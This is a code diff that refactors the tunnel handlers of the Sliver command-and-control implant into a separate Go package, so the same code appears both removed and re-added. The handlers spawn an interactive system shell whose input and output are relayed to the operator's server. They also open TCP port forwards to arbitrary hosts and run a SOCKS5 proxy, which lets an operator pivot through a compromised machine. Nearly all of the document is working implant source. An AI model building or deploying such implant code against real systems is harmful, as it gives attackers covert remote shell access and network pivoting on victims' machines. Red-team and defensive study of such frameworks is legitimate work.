"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
tunnelHandlers = map[uint32]TunnelHandler{
|
||||
sliverpb.MsgShellReq: shellReqHandler,
|
||||
sliverpb.MsgPortfwdReq: portfwdReqHandler,
|
||||
sliverpb.MsgSocksData: socksReqHandler,
|
||||
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
|
||||
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
|
||||
sliverpb.MsgSocksData: tunnel_handlers.SocksReqHandler,
|
||||
|
||||
sliverpb.MsgTunnelData: tunnelDataHandler,
|
||||
sliverpb.MsgTunnelClose: tunnelCloseHandler,
|
||||
sliverpb.MsgTunnelData: tunnel_handlers.TunnelDataHandler,
|
||||
sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler,
|
||||
}
|
||||
|
||||
// TunnelID -> Sequence Number -> Data
|
||||
tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
|
||||
)
|
||||
|
||||
type dataCache struct {
|
||||
mutex *sync.RWMutex
|
||||
cache map[uint64]map[uint64]*sliverpb.TunnelData
|
||||
}
|
||||
|
||||
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
if _, ok := c.cache[tunnelID]; !ok {
|
||||
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
|
||||
}
|
||||
|
||||
c.cache[tunnelID][sequence] = tunnelData
|
||||
}
|
||||
|
||||
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
if _, ok := c.cache[tunnelID]; !ok {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
val, ok := c.cache[tunnelID][sequence]
|
||||
|
||||
return val, ok
|
||||
}
|
||||
|
||||
func (c *dataCache) DeleteTun(tunnelID uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
delete(c.cache, tunnelID)
|
||||
}
|
||||
|
||||
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
if _, ok := c.cache[tunnelID]; !ok {
|
||||
return
|
||||
}
|
||||
|
||||
delete(c.cache[tunnelID], sequence)
|
||||
}
|
||||
|
||||
func (c *dataCache) Len(tunnelID uint64) int {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
return len(c.cache[tunnelID])
|
||||
}
|
||||
|
||||
// GetTunnelHandlers - Returns a map of tunnel handlers
|
||||
func GetTunnelHandlers() map[uint32]TunnelHandler {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -112,447 +46,3 @@ func GetTunnelHandlers() map[uint32]TunnelHandler {
|
||||
// {{end}}
|
||||
return tunnelHandlers
|
||||
}
|
||||
|
||||
func tunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
tunnelClose := &sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
}
|
||||
proto.Unmarshal(envelope.Data, tunnelClose)
|
||||
tunnel := connection.Tunnel(tunnelClose.TunnelID)
|
||||
if tunnel != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
|
||||
// {{end}}
|
||||
connection.RemoveTunnel(tunnel.ID)
|
||||
tunnel.Reader.Close()
|
||||
tunnel.Writer.Close()
|
||||
tunnelDataCache.DeleteTun(tunnel.ID)
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
|
||||
func tunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
tunnelData := &sliverpb.TunnelData{}
|
||||
proto.Unmarshal(envelope.Data, tunnelData)
|
||||
tunnel := connection.Tunnel(tunnelData.TunnelID)
|
||||
if tunnel != nil {
|
||||
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
|
||||
// to ensure we write the data back to the reader in the correct order. The server will ensure
|
||||
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
|
||||
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
|
||||
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
|
||||
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
|
||||
// correctly write them back to the reader.
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
|
||||
// {{end}}
|
||||
|
||||
tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
|
||||
|
||||
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
|
||||
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
|
||||
// is used here whereas WriteSequence is used for data written back to the server
|
||||
|
||||
// Go through cache and write all sequential data to the reader
|
||||
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
|
||||
// {{end}}
|
||||
tunnel.Writer.Write(recv.Data)
|
||||
|
||||
// Delete the entry we just wrote from the cache
|
||||
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
|
||||
tunnel.IncReadSequence() // Increment sequence counter
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[message just received] %v", tunnelData)
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
|
||||
//Send a Resend packet to have the msg resent from the cache
|
||||
if tunnelDataCache.Len(tunnel.ID) > 3 {
|
||||
data, err := proto.Marshal(&sliverpb.TunnelData{
|
||||
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
|
||||
Ack: tunnel.ReadSequence(),
|
||||
Resend: true,
|
||||
TunnelID: tunnel.ID,
|
||||
Data: []byte{},
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to marshal protobuf %s", err)
|
||||
// {{end}}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
|
||||
// {{end}}
|
||||
connection.RequestResend(data)
|
||||
}
|
||||
}
|
||||
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
|
||||
log.Printf("[message just transfered] %v", tunnelData)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
|
||||
// tunnelWriter - Sends data back to the server based on data read()
|
||||
// I know the reader/writer stuff is a little hard to keep track of
|
||||
type tunnelWriter struct {
|
||||
tun *transports.Tunnel
|
||||
conn *transports.Connection
|
||||
}
|
||||
|
||||
func (tw tunnelWriter) Write(data []byte) (int, error) {
|
||||
n := len(data)
|
||||
data, err := proto.Marshal(&sliverpb.TunnelData{
|
||||
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
|
||||
Ack: tw.tun.ReadSequence(),
|
||||
TunnelID: tw.tun.ID,
|
||||
Data: data,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
|
||||
// {{end}}
|
||||
tw.tun.IncWriteSequence() // Increment write sequence
|
||||
tw.conn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
func shellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
|
||||
shellReq := &sliverpb.ShellReq{}
|
||||
err := proto.Unmarshal(envelope.Data, shellReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
shellPath := shell.GetSystemShellPath(shellReq.Path)
|
||||
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
|
||||
if systemShell == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to get system shell")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
// At this point, comand is already started by StartInteractive
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to spawn! err: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Process spawned!")
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
tunnel := transports.NewTunnel(
|
||||
shellReq.TunnelID,
|
||||
systemShell.Stdout,
|
||||
systemShell.Stdin,
|
||||
)
|
||||
connection.AddTunnel(tunnel)
|
||||
|
||||
shellResp, _ := proto.Marshal(&sliverpb.Shell{
|
||||
Pid: uint32(systemShell.Command.Process.Pid),
|
||||
Path: shellReq.Path,
|
||||
TunnelID: shellReq.TunnelID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: shellResp,
|
||||
}
|
||||
|
||||
// Cleanup function with arguments
|
||||
cleanup := func(reason string) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Closing tunnel request %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
tWriter := tunnelWriter{
|
||||
tun: tunnel,
|
||||
conn: connection,
|
||||
}
|
||||
_, err := io.Copy(tWriter, tunnel.Reader)
|
||||
|
||||
systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
|
||||
|
||||
if systemShell.Command.ProcessState != nil {
|
||||
if systemShell.Command.ProcessState.Exited() {
|
||||
cleanup("process terminated")
|
||||
return
|
||||
}
|
||||
}
|
||||
if err == io.EOF {
|
||||
cleanup("EOF")
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
|
||||
// {{end}}
|
||||
|
||||
}
|
||||
|
||||
func portfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
portfwdReq := &sliverpb.PortfwdReq{}
|
||||
err := proto.Unmarshal(envelope.Data, portfwdReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
// TODO: Configurable context
|
||||
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
|
||||
// {{end}}
|
||||
|
||||
ctx, cancelContext := context.WithCancel(context.Background())
|
||||
|
||||
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Failed to dial remote address %s", err)
|
||||
// {{end}}
|
||||
cancelContext()
|
||||
return
|
||||
}
|
||||
if conn, ok := dst.(*net.TCPConn); ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Configuring keep alive")
|
||||
// {{end}}
|
||||
conn.SetKeepAlive(true)
|
||||
// TODO: Make KeepAlive configurable
|
||||
conn.SetKeepAlivePeriod(30 * time.Second)
|
||||
}
|
||||
|
||||
// Add tunnel
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Creating tcp tunnel")
|
||||
// {{end}}
|
||||
tunnel := transports.NewTunnel(
|
||||
portfwdReq.TunnelID,
|
||||
dst,
|
||||
dst,
|
||||
)
|
||||
connection.AddTunnel(tunnel)
|
||||
|
||||
// Send portfwd response
|
||||
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
|
||||
Port: portfwdReq.Port,
|
||||
Host: portfwdReq.Host,
|
||||
Protocol: sliverpb.PortFwdProtoTCP,
|
||||
TunnelID: portfwdReq.TunnelID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: portfwdResp,
|
||||
}
|
||||
|
||||
cleanup := func(reason error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnel := connection.Tunnel(tunnel.ID)
|
||||
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
connection.RemoveTunnel(tunnel.ID)
|
||||
dst.Close()
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
go func() {
|
||||
tWriter := tunnelWriter{
|
||||
tun: tunnel,
|
||||
conn: connection,
|
||||
}
|
||||
n, err := io.Copy(tWriter, tunnel.Reader)
|
||||
_ = n // avoid not used compiler error if debug mode is disabled
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
|
||||
// {{end}}
|
||||
|
||||
cleanup(err)
|
||||
}()
|
||||
}
|
||||
|
||||
type socksTunnelPool struct {
|
||||
tunnels map[uint64]chan []byte
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
Sequence map[uint64]uint64
|
||||
}
|
||||
|
||||
var socksTunnels = socksTunnelPool{
|
||||
tunnels: map[uint64]chan []byte{},
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
Sequence: map[uint64]uint64{},
|
||||
}
|
||||
|
||||
var socksServer *socks5.Server
|
||||
|
||||
func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
socksData := &sliverpb.SocksData{}
|
||||
err := proto.Unmarshal(envelope.Data, socksData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
if socksData.Data == nil {
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
|
||||
// {{end}}
|
||||
|
||||
if socksData.Username != "" && socksData.Password != "" {
|
||||
cred := socks5.StaticCredentials{
|
||||
socksData.Username: socksData.Password,
|
||||
}
|
||||
auth := socks5.UserPassAuthenticator{Credentials: cred}
|
||||
socksServer = socks5.NewServer(
|
||||
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
|
||||
)
|
||||
} else {
|
||||
socksServer = socks5.NewServer()
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] Server: %v", socksServer)
|
||||
// {{end}}
|
||||
|
||||
// init tunnel
|
||||
if _, ok := socksTunnels.tunnels[socksData.TunnelID]; !ok {
|
||||
socksTunnels.tunnels[socksData.TunnelID] = make(chan []byte, 10)
|
||||
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
|
||||
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
|
||||
}
|
||||
}
|
||||
|
||||
var _ net.Conn = &socks{}
|
||||
|
||||
type socks struct {
|
||||
stream *sliverpb.SocksData
|
||||
conn *transports.Connection
|
||||
// mux sync.Mutex
|
||||
Sequence uint64
|
||||
}
|
||||
|
||||
func (s *socks) Read(b []byte) (n int, err error) {
|
||||
socksTunnels.readMutex.Lock()
|
||||
channel := socksTunnels.tunnels[s.stream.TunnelID]
|
||||
socksTunnels.readMutex.Unlock()
|
||||
data := <-channel
|
||||
return copy(b, data), nil
|
||||
}
|
||||
|
||||
func (s *socks) Write(b []byte) (n int, err error) {
|
||||
socksTunnels.writeMutex.Lock()
|
||||
data, err := proto.Marshal(&sliverpb.SocksData{
|
||||
TunnelID: s.stream.TunnelID,
|
||||
Data: b,
|
||||
Sequence: s.Sequence,
|
||||
})
|
||||
if !s.conn.IsOpen {
|
||||
return 0, err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", s.Sequence, len(b), b)
|
||||
// {{end}}
|
||||
s.conn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgSocksData,
|
||||
Data: data,
|
||||
}
|
||||
socksTunnels.writeMutex.Unlock()
|
||||
s.Sequence++
|
||||
return len(b), err
|
||||
}
|
||||
|
||||
func (s *socks) Close() error {
|
||||
close(socksTunnels.tunnels[s.stream.TunnelID])
|
||||
delete(socksTunnels.tunnels, s.stream.TunnelID)
|
||||
data, err := proto.Marshal(&sliverpb.SocksData{
|
||||
TunnelID: s.stream.TunnelID,
|
||||
CloseConn: true,
|
||||
})
|
||||
if !s.conn.IsOpen {
|
||||
return err
|
||||
}
|
||||
s.conn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgSocksData,
|
||||
Data: data,
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func (c *socks) LocalAddr() net.Addr {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *socks) RemoteAddr() net.Addr {
|
||||
return &net.IPAddr{
|
||||
IP: net.IPv4(127, 0, 0, 1),
|
||||
Zone: "",
|
||||
}
|
||||
}
|
||||
|
||||
// TODO impl
|
||||
func (c *socks) SetDeadline(t time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// TODO impl
|
||||
func (c *socks) SetReadDeadline(t time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// TODO impl
|
||||
func (c *socks) SetWriteDeadline(t time.Time) error {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package tunnel_handlers
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
tunnelClose := &sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
}
|
||||
proto.Unmarshal(envelope.Data, tunnelClose)
|
||||
tunnel := connection.Tunnel(tunnelClose.TunnelID)
|
||||
if tunnel != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
|
||||
// {{end}}
|
||||
connection.RemoveTunnel(tunnel.ID)
|
||||
tunnel.Reader.Close()
|
||||
tunnel.Writer.Close()
|
||||
tunnelDataCache.DeleteTun(tunnel.ID)
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
package tunnel_handlers
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var (
|
||||
// TunnelID -> Sequence Number -> Data
|
||||
tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
|
||||
)
|
||||
|
||||
type dataCache struct {
|
||||
mutex *sync.RWMutex
|
||||
cache map[uint64]map[uint64]*sliverpb.TunnelData
|
||||
}
|
||||
|
||||
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
if _, ok := c.cache[tunnelID]; !ok {
|
||||
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
|
||||
}
|
||||
|
||||
c.cache[tunnelID][sequence] = tunnelData
|
||||
}
|
||||
|
||||
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
if _, ok := c.cache[tunnelID]; !ok {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
val, ok := c.cache[tunnelID][sequence]
|
||||
|
||||
return val, ok
|
||||
}
|
||||
|
||||
func (c *dataCache) DeleteTun(tunnelID uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
delete(c.cache, tunnelID)
|
||||
}
|
||||
|
||||
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
if _, ok := c.cache[tunnelID]; !ok {
|
||||
return
|
||||
}
|
||||
|
||||
delete(c.cache[tunnelID], sequence)
|
||||
}
|
||||
|
||||
func (c *dataCache) Len(tunnelID uint64) int {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
return len(c.cache[tunnelID])
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package tunnel_handlers
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
tunnelData := &sliverpb.TunnelData{}
|
||||
proto.Unmarshal(envelope.Data, tunnelData)
|
||||
tunnel := connection.Tunnel(tunnelData.TunnelID)
|
||||
if tunnel != nil {
|
||||
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
|
||||
// to ensure we write the data back to the reader in the correct order. The server will ensure
|
||||
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
|
||||
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
|
||||
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
|
||||
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
|
||||
// correctly write them back to the reader.
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
|
||||
// {{end}}
|
||||
|
||||
tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
|
||||
|
||||
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
|
||||
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
|
||||
// is used here whereas WriteSequence is used for data written back to the server
|
||||
|
||||
// Go through cache and write all sequential data to the reader
|
||||
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
|
||||
// {{end}}
|
||||
tunnel.Writer.Write(recv.Data)
|
||||
|
||||
// Delete the entry we just wrote from the cache
|
||||
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
|
||||
tunnel.IncReadSequence() // Increment sequence counter
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[message just received] %v", tunnelData)
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
|
||||
//Send a Resend packet to have the msg resent from the cache
|
||||
if tunnelDataCache.Len(tunnel.ID) > 3 {
|
||||
data, err := proto.Marshal(&sliverpb.TunnelData{
|
||||
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
|
||||
Ack: tunnel.ReadSequence(),
|
||||
Resend: true,
|
||||
TunnelID: tunnel.ID,
|
||||
Data: []byte{},
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to marshal protobuf %s", err)
|
||||
// {{end}}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
|
||||
// {{end}}
|
||||
connection.RequestResend(data)
|
||||
}
|
||||
}
|
||||
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
|
||||
log.Printf("[message just transfered] %v", tunnelData)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package tunnel_handlers
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
portfwdReq := &sliverpb.PortfwdReq{}
|
||||
err := proto.Unmarshal(envelope.Data, portfwdReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
// TODO: Configurable context
|
||||
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
|
||||
// {{end}}
|
||||
|
||||
ctx, cancelContext := context.WithCancel(context.Background())
|
||||
|
||||
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Failed to dial remote address %s", err)
|
||||
// {{end}}
|
||||
cancelContext()
|
||||
return
|
||||
}
|
||||
if conn, ok := dst.(*net.TCPConn); ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Configuring keep alive")
|
||||
// {{end}}
|
||||
conn.SetKeepAlive(true)
|
||||
// TODO: Make KeepAlive configurable
|
||||
conn.SetKeepAlivePeriod(30 * time.Second)
|
||||
}
|
||||
|
||||
// Add tunnel
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Creating tcp tunnel")
|
||||
// {{end}}
|
||||
tunnel := transports.NewTunnel(
|
||||
portfwdReq.TunnelID,
|
||||
dst,
|
||||
dst,
|
||||
)
|
||||
connection.AddTunnel(tunnel)
|
||||
|
||||
// Send portfwd response
|
||||
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
|
||||
Port: portfwdReq.Port,
|
||||
Host: portfwdReq.Host,
|
||||
Protocol: sliverpb.PortFwdProtoTCP,
|
||||
TunnelID: portfwdReq.TunnelID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: portfwdResp,
|
||||
}
|
||||
|
||||
cleanup := func(reason error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnel := connection.Tunnel(tunnel.ID)
|
||||
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
connection.RemoveTunnel(tunnel.ID)
|
||||
dst.Close()
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
go func() {
|
||||
tWriter := tunnelWriter{
|
||||
tun: tunnel,
|
||||
conn: connection,
|
||||
}
|
||||
n, err := io.Copy(tWriter, tunnel.Reader)
|
||||
_ = n // avoid not used compiler error if debug mode is disabled
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
|
||||
// {{end}}
|
||||
|
||||
cleanup(err)
|
||||
}()
|
||||
}
|
